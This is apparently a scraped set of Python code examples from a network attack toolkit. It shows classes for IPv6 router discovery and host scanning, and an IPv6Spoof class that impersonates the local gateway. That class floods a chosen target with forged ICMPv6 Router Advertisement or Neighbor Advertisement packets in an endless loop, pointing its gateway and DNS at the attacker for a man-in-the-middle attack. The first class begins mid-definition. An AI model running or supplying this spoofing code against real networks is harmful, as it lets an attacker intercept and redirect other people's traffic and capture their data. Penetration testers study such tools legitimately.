    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None}

    _retry_number: int = 3
    _timeout: int = 3

    _router_info: Union[None, Dict[str, Union[int, str]]] = None
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address',
                                                                            'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()

            # 134 Type of ICMPv6 Router Advertisement
            assert packet['ICMPv6']['type'] == 134, 'Not ICMPv6 Router Advertisement packet!'

            # Save router information
            self._router_info = dict()
            self._router_info['router_mac_address'] = packet['Ethernet']['source']
            self._router_info['router_ipv6_address'] = packet['IPv6']['source-ip']
            self._router_info['flags'] = hex(packet['ICMPv6']['flags'])
            self._router_info['router-lifetime'] = int(packet['ICMPv6']['router-lifetime'])
            self._router_info['reachable-time'] = int(packet['ICMPv6']['reachable-time'])
            self._router_info['retrans-timer'] = int(packet['ICMPv6']['retrans-timer'])

            for icmpv6_ra_option in packet['ICMPv6']['options']:
                if icmpv6_ra_option['type'] == 3:
                    self._router_info['prefix'] = str(icmpv6_ra_option['value']['prefix']) + '/' + \
                                                  str(icmpv6_ra_option['value']['prefix-length'])
                if icmpv6_ra_option['type'] == 5:
                    self._router_info['mtu'] = int(icmpv6_ra_option['value'], 16)
                if icmpv6_ra_option['type'] == 25:
                    self._router_info['dns-server'] = str(icmpv6_ra_option['value']['address'])

            # Search router vendor
            self._router_info['vendor'] = \
                self._base.get_vendor_by_mac_address(self._router_info['router_mac_address'])

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        # region ICMPv6 multicast ping scan
        self._raw_sniff.start(protocols=['Ethernet', 'IPv6', 'ICMPv6'],
                              prn=self._analyze_packet,
                              filters={'ICMPv6': {'type': 134}},
                              network_interface=self._your['network-interface'],
                              scapy_filter='icmp6')
    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
                                                                 ipv6_src=self._your['ipv6-link-address'])
        self._raw_send.send_packet(packet=request, count=self._retry_number, delay=0.1)
    # endregion

    # region Search IPv6 router
    def search(self,
               timeout: int = 3,
               retry: int = 3,
               exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
        """
        Search IPv6 router in network
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param exit_on_failure: Exit if IPv6 router in network not found (default: True)
        :return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a',
                                                               'router_ipv6_address': 'fe80::1234:5678:90ab:cdef',
                                                               'flags': '0x0',
                                                               'router-lifetime': 0,
                                                               'reachable-time': 0,
                                                               'retrans-timer': 0,
                                                               'prefix': 'fd00::/64',
                                                               'vendor': 'D-Link International'})
        """

        # region Set variables
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Return IPv6 router information
        if self._router_info is None:
            if exit_on_failure:
                self._base.error_text('Could not found IPv6 Router on interface: ' + self._your['network-interface'])
                exit(1)
        return self._router_info
Beispiel #5
0
class IPv6Spoof:

    # region Variables
    _base: Base = Base()
    _utils: Utils = Utils()
    _icmpv6: RawICMPv6 = RawICMPv6()

    _your: Dict[str, Union[None, str]] = {'network-interface': None, 'mac-address': None, 'ipv6-link-address': None}
    _target: Dict[str, Union[None, str]] = {'ipv6-address': None, 'mac-address': None, 'vendor': None}
    _techniques: Dict[int, str] = {1: 'ICMPv6 RA (Router Advertisement) Spoofing',
                                   2: 'ICMPv6 NA (Neighbor Advertisement) Spoofing'}
    _technique_index: Union[None, int] = None
    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name
        """
        self._your = self._base.get_interface_settings(interface_name=network_interface,
                                                       required_parameters=['mac-address'])
        if self._your['ipv6-link-address'] is None:
            self._your['ipv6-link-address'] = self._base.make_ipv6_link_address(self._your['mac-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)
        self._icmpv6_scan: ICMPv6Scan = ICMPv6Scan(network_interface=network_interface)
        self._icmpv6_router_search: ICMPv6RouterSearch = ICMPv6RouterSearch(network_interface=network_interface)
    # endregion

    # region Start IPv6 Spoofing
    def start(self,
              technique: Union[None, int] = None,
              target_ipv6_address: Union[None, str] = None,
              target_mac_address: Union[None, str] = None,
              gateway_ipv6_address: Union[None, str] = None,
              dns_ipv6_address: Union[None, str] = None,
              dns_domain_search: str = 'domain.local',
              ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
              quiet: bool = False):
        try:
            
            # region Variables
            gateway_mac_address: Union[None, str] = None
            prefix: Union[None, str] = None
            mtu: int = 1500
            router_lifetime: int = 2
            reachable_time: int = 2000
            retrans_timer: int = 2000
            advertisement_interval: int = 2000
            # endregion

            # region Set prefix
            if ipv6_prefix is not None:
                prefix = ipv6_prefix
            # endregion

            # region Set technique
            technique_pretty_table: PrettyTable = PrettyTable([self._base.info_text('Index'),
                                                               self._base.info_text('ICMPv6 MiTM technique')])
            for technique_key in self._techniques.keys():
                technique_pretty_table.add_row([str(technique_key), self._techniques[technique_key]])

            if technique is None:
                self._base.print_info('ICMPv6 MiTM technique list:')
                print(technique_pretty_table)
                print(self._base.c_info + 'Select ICMPv6 MiTM technique index from range (1 - ' +
                      str(len(self._techniques.keys())) + '): ', end='')
                current_technique_index: str = input()
                assert current_technique_index.isdigit(), \
                    'ICMPv6 MiTM technique index is not digit!'
                current_technique_index: int = int(current_technique_index)
                assert not any([current_technique_index < 1, current_technique_index > len(self._techniques.keys())]), \
                    'ICMPv6 MiTM technique index is not within range (1 - ' + str(len(self._techniques.keys())) + ')'
                self._technique_index = current_technique_index

            else:
                assert int(technique) == 1 or int(technique) == 2, \
                    'Bad technique index, technique must be: \n' + str(technique_pretty_table)
                self._technique_index = int(technique)
            # endregion

            # region Check gateway_ipv6_address and dns_ipv6_address

            # region Gateway IPv6 address not Set
            router_advertisement_data: Union[None, Dict[str, Union[int, str]]] = None

            if gateway_ipv6_address is None:
                self._base.print_info('Search IPv6 Gateway and DNS server ....')
                router_advertisement_data: Union[None, Dict[str, Union[int, str]]] = \
                    self._icmpv6_router_search.search(timeout=5, retry=3, exit_on_failure=False)

                # region Find IPv6 router
                if router_advertisement_data is not None:
                    gateway_ipv6_address = router_advertisement_data['router_ipv6_address']
                    gateway_mac_address = router_advertisement_data['router_mac_address']
                    if 'dns-server' in router_advertisement_data.keys():
                        dns_ipv6_address = router_advertisement_data['dns-server']
                    else:
                        dns_ipv6_address = self._your['ipv6-link-address']
                    if 'prefix' in router_advertisement_data.keys():
                        prefix = router_advertisement_data['prefix']
                    else:
                        prefix = ipv6_prefix
                    if 'mtu' in router_advertisement_data.keys():
                        mtu = int(router_advertisement_data['mtu'])
                # endregion

                # region Could not find IPv6 router
                else:
                    gateway_ipv6_address = self._your['ipv6-link-address']
                    gateway_mac_address = self._your['mac-address']
                    prefix = ipv6_prefix
                    dns_ipv6_address = self._your['ipv6-link-address']
                # endregion

            # endregion

            # region Gateway IPv6 address is Set
            if gateway_ipv6_address is not None:
                gateway_ipv6_address = \
                    self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                                   ipv6_address=gateway_ipv6_address,
                                                   is_local_ipv6_address=True,
                                                   parameter_name='Gateway IPv6 address',
                                                   check_your_ipv6_address=False)
            # endregion

            # region DNS IPv6 address not Set
            if dns_ipv6_address is None:
                dns_ipv6_address = self._your['ipv6-link-address']
            # endregion

            # region DNS IPv6 address is Set
            if dns_ipv6_address is not None:
                dns_ipv6_address = \
                    self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
                                                   ipv6_address=dns_ipv6_address,
                                                   is_local_ipv6_address=False,
                                                   parameter_name='DNS server IPv6 address',
                                                   check_your_ipv6_address=False)
            # endregion

            # region Print Gateway and DNS server information
            self._base.print_success('Gateway IPv6 address: ', gateway_ipv6_address)
            if gateway_mac_address is not None:
                self._base.print_success('Gateway MAC address: ', gateway_mac_address)
            if router_advertisement_data is not None:
                self._base.print_success('Gateway Vendor: ', router_advertisement_data['vendor'])
            if dns_ipv6_address is not None:
                self._base.print_success('DNS IPv6 address: ', dns_ipv6_address)
            self._base.print_success('IPv6 prefix: ', prefix)
            self._base.print_success('MTU: ', str(mtu))
            self._base.print_success('Router lifetime (s): ', str(router_lifetime))
            self._base.print_success('Reachable time (ms): ', str(reachable_time))
            self._base.print_success('Retrans timer (ms): ', str(retrans_timer))
            # endregion

            # endregion

            # region Set target
            self._target = self._utils.set_ipv6_target(network_interface=self._your['network-interface'],
                                                       target_ipv6_address=target_ipv6_address,
                                                       target_mac_address=target_mac_address,
                                                       exclude_ipv6_addresses=[gateway_ipv6_address])
            # Check target IPv6 and gateway IPv6
            assert self._target['ipv6-address'] != gateway_ipv6_address, \
                'Bad target IPv6 address: ' + self._base.error_text(target_ipv6_address) + \
                '; Target IPv6 address is gateway link local IPv6 address!'

            # Print Target IPv6- and MAC-address
            if not quiet:
                self._base.print_success('Target IPv6 address: ', self._target['ipv6-address'])
                self._base.print_success('Target MAC address: ', self._target['mac-address'])
                if self._target['vendor'] is not None:
                    self._base.print_success('Target vendor: ', self._target['vendor'])
            # endregion

            # region Start spoofing
            self._base.print_info('IPv6 Spoof: ', gateway_ipv6_address + ' -> ' + self._your['mac-address'])
            spoof_packets: List[bytes] = list()

            # region Use RA (Router Advertisement) technique
            if self._technique_index == 1:
                self._base.print_info('Send Router Advertisement packets to: ', 
                                      self._target['ipv6-address'] + ' (' +
                                      self._target['mac-address'] + ')')
                self._base.print_info('Start Router Advertisement spoofing ...')
                spoof_packets.append(
                    self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                  ethernet_dst_mac=self._target['mac-address'],
                                                                  ipv6_src=gateway_ipv6_address,
                                                                  ipv6_dst=self._target['ipv6-address'],
                                                                  dns_address=self._your['ipv6-link-address'],
                                                                  domain_search=dns_domain_search,
                                                                  prefix=prefix,
                                                                  mtu=mtu,
                                                                  src_link_layer_address=self._your['mac-address'],
                                                                  router_lifetime=router_lifetime,
                                                                  reachable_time=reachable_time,
                                                                  retrans_timer=retrans_timer,
                                                                  advertisement_interval=advertisement_interval))
            # endregion

            # region Use NA (Neighbor Advertisement) technique
            if self._technique_index == 2:
                self._base.print_info('Send Neighbor Advertisement packets to: ',
                                      self._target['ipv6-address'] + ' (' +
                                      self._target['mac-address'] + ')')
                self._base.print_info('Start Neighbor Advertisement spoofing ...')
                spoof_packets.append(
                    self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                    ethernet_dst_mac=self._target['mac-address'],
                                                                    ipv6_src=gateway_ipv6_address,
                                                                    ipv6_dst=self._target['ipv6-address'],
                                                                    target_ipv6_address=gateway_ipv6_address))
                if dns_ipv6_address != self._your['ipv6-link-address'] and dns_ipv6_address != gateway_ipv6_address:
                    spoof_packets.append(
                        self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
                                                                        ethernet_dst_mac=self._target['mac-address'],
                                                                        ipv6_src=dns_ipv6_address,
                                                                        ipv6_dst=self._target['ipv6-address'],
                                                                        target_ipv6_address=dns_ipv6_address))
            # endregion

            while True:
                for spoof_packet in spoof_packets:
                    self._raw_send.send_packet(spoof_packet)
                    sleep(0.25)
            # endregion

        except KeyboardInterrupt:
            if not quiet:
                self._base.print_info('Exit')
            exit(0)

        except AssertionError as Error:
            if not quiet:
                self._base.print_error(Error.args[0])
            exit(1)
class ICMPv6Scan:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv6-address': None,
        'mac-address': 'ff:ff:ff:ff:ff:ff',
        'vendor': None
    }

    _results: List[Dict[str, str]] = list()
    _unique_results: List[Dict[str, str]] = list()
    _mac_addresses: List[str] = list()

    _retry_number: int = 3
    _timeout: int = 3

    _icmpv6_identifier: int = 0

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()
            assert 'identifier' in packet['ICMPv6'].keys()

            # 129 Type of ICMPv6 Echo (ping) reply
            assert packet['ICMPv6']['type'] == 129, \
                'Not ICMPv6 Echo (ping) reply packet!'

            # Check ICMPv6 Echo (ping) reply identifier
            assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \
                'ICMPv6 Echo (ping) reply bad identifier'

            # Add MAC- and IPv6-address in result list
            self._results.append({
                'mac-address': packet['Ethernet']['source'],
                'ip-address': packet['IPv6']['source-ip']
            })

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        self._raw_sniff.start(
            protocols=['Ethernet', 'IPv6', 'ICMPv6'],
            prn=self._analyze_packet,
            filters={
                'Ethernet': {
                    'destination': self._your['mac-address']
                },
                'IPv6': {
                    'destination-ip': self._your['ipv6-link-address']
                },
                'ICMPv6': {
                    'type': 129
                }
            },
            network_interface=self._your['network-interface'],
            scapy_filter='icmp6',
            scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_echo_request_packet(
            ethernet_src_mac=self._your['mac-address'],
            ethernet_dst_mac=self._target['mac-address'],
            ipv6_src=self._your['ipv6-link-address'],
            ipv6_dst='ff02::1',
            id=self._icmpv6_identifier)
        self._raw_send.send_packet(packet=request,
                                   count=self._retry_number,
                                   delay=0.3)

    # endregion

    # region Scanner
    def scan(self,
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True,
             exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a',
                                                            'ip-address': 'fe80::1234:5678:90ab:cdef',
                                                            'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self._results.clear()
        self._unique_results.clear()
        self._mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self._base.mac_address_validation(mac_address=target_mac_address,
                                              exit_on_failure=True)
            self._target['mac-address'] = target_mac_address
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        self._icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Unique results
        for index in range(len(self._results)):
            if self._results[index]['mac-address'] not in self._mac_addresses:
                self._unique_results.append(self._results[index])
                self._mac_addresses.append(self._results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self._unique_results)):
                self._unique_results[result_index]['vendor'] = \
                    self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
        # endregion

        # region Exclude IPv6 addresses
        if len(exclude_ipv6_addresses) > 0:
            results: List[Dict[str, str]] = list()
            for unique_result in self._unique_results:
                if unique_result['ip-address'] not in exclude_ipv6_addresses:
                    results.append(unique_result)
            self._unique_results = results
        # endregion

        # region Return results
        if len(self._unique_results) == 0:
            if exit_on_failure:
                self._base.error_text(
                    'Could not found alive IPv6 hosts on interface: ' +
                    self._your['network-interface'])
                exit(1)
        return self._unique_results